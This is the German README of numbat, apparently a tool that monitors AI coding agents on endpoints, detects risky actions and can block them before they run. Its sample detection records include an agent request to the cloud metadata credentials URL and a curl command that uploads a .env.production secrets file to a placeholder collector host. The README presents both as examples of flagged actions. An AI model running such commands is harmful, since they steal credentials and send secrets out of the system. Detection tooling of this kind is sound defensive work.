Einblick in die Aktivitäten von KI-Agenten auf Endpunkten, mit geräteinterner Erkennung, optionaler Blockierung vor der Aktion und forensischer Rekonstruktion.
Endpunkt-Sichtbarkeit in die Aktivität von KI-Agenten, mit lokaler Erkennung, optionaler Blockierung vor Aktionen und forensischer Rekonstruktion.
numbat beobachtet unterstützte Desktop-, CLI-, IDE- und Gateway-Agenten über lokale Hooks und Plugins, OTLP/HTTP-Logs und On-Disk-Sitzungsartefakte. Live- und At-Rest-Aktivität wird in ein einheitliches Ereignismodell normalisiert und von derselben CEL-Regel-Engine ausgewertet. Die Erkennung läuft lokal; Datensätze können nach stdout oder in eine lokale Datei geschrieben und optional über HTTP übermittelt werden.
Die Abdeckungsmatrix ist maßgeblich für jeden Host und jede Oberfläche. Blockierung ist standardmäßig deaktiviert und auf unterstützte synchrone Pre-Action-Hooks beschränkt; siehe den Enforcement-Leitfaden.
enforce: true markiert sind; alle
mitgelieferten Regeln sind nur überwachend.Laden Sie ein Release herunter für macOS, Linux oder Windows auf amd64 oder arm64. Jedes Release enthält SHA-256-Prüfsummen. Sie können auch mit Go 1.26.6 oder neuer installieren:
go install github.com/perplexityai/numbat/cmd/numbat@latest
macOS oder Linux:
CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat
Windows PowerShell:
$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat
Diese schreibgeschützten Befehle installieren keine Hooks und ändern keine Agent-Konfiguration:
numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex
Installieren Sie Live-Überwachung für jeden Agenten mit
Live-Capture-Unterstützung; die folgenden Befehle verwenden
Codex als konkretes Beispiel. Hooks starten im Nur-Überwachungsmodus. --emit all
schreibt Ereignisse, Findings, Indikatoren und zutreffende Enforcement-Entscheidungen nach
~/.numbat/records.ndjson.
numbat hook install --agent codex --emit all
numbat hook status --agent codex
Hook-Vertrauen: Die Anforderungen variieren je nach Agent und Scope. Für den obigen Codex-Benutzer-Hook überprüfen und vertrauen Sie seiner aktuellen Definition in
/hooks(CLI) oder Einstellungen > Hooks (App), auch nach Änderungen wie--enforce. Codex- Hooks, die mit--managedinstalliert wurden, sind per Richtlinie vertrauenswürdig.hook statusüberprüft die Konfiguration, nicht die Ausführung oder Übermittlung. Siehe den Deployment-Leitfaden für andere Agenten und Scopes.
Alle mitgelieferten Regeln sind nur überwachend. Um eine Erkennung durchzusetzen, kopieren Sie ihr vollständiges
mitgeliefertes YAML in ein kontrolliertes Operator-Verzeichnis, behalten Sie dieselbe id,
fügen Sie enforce: true hinzu und erhöhen Sie ihre Version. Validieren und installieren Sie diese effektive
Richtlinie für einen unterstützten Pre-Action-Hook:
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce
Ein kontrollierter OpenClaw-before_tool_call-Callback, der durch numbats
generiertes Plugin geleitet wurde, wird zu einem typisierten Netzwerkereignis mit seinem vorgeschlagenen Ziel
und Ausführungskontext. Es entspricht auch der Regel für Cloud-Metadata mit hohem Schweregrad.
{
"actor": "assistant",
"confidence": "medium",
"content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "node", "uid": "1000"
},
"event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
"event_type": "network.indicator",
"evidence": {"artifact_type": "hook"},
"project_path": "/workspace/acme-api",
"record_type": "event",
"run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
"schema_version": "0.4.0",
"session_id": "agent:research:metadata-review",
"source_agent": "openclaw",
"source_type": "hook",
"sub_agent": "research",
"tags": ["network"],
"timestamp": "2026-07-24T15:20:00Z",
"tool_call_id": "tool-cloud-metadata-01",
"tool_name": "browser",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
Ein kontrolliertes Replay von zwei vertragskonformen Claude Code Pre-Action-Callbacks in einer Sitzung – Zugriff auf eine Secret-Datei, dann ein vorgeschlagener Upload – erzeugte dieses Finding. Die Regel läuft auch während Artefakt-Scans; das Finding beweist nicht, dass eine der Aktionen abgeschlossen wurde.
{
"cited_event_ids": [
"hook-run-20260724T143947.587655000-2030b2e550b19261",
"hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
],
"confidence": "medium",
"detected_at": "2026-07-24T14:40:29.226642Z",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"evidence_refs": [
{"artifact_type": "hook"},
{"artifact_type": "hook"}
],
"finding_id": "fnd-01be6f0c659d060e7c993a73",
"observed_actor": "assistant",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"observed_event_type": "command.exec",
"project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
"record_type": "finding",
"redacted": false,
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
"schema_version": "0.4.0",
"session_id": "readme-live-sequence-01",
"severity": "high",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
"timestamp": "2026-07-24T14:40:25.562634Z",
"title": "Secret-file access followed by data-bearing egress"
}